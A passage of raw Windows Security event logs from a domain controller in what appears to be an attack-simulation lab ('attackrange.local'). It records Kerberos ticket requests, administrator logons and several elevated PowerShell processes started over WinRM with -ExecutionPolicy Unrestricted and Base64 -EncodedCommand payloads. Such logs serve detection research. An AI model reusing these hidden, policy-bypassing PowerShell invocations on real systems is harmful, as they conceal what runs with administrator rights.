	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252286
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252285
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1318
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1160
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252284
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1160
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252283
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156D36

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252282
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156D36
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252281
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252280
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252279
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252278
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb0
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252277
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x154C03

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb0
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x520
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252276
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156A5A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252275
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x156A5A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252274
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252273
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{D77D8964-7AE3-A943-2CF8-3E53FE8EF695}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252272
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
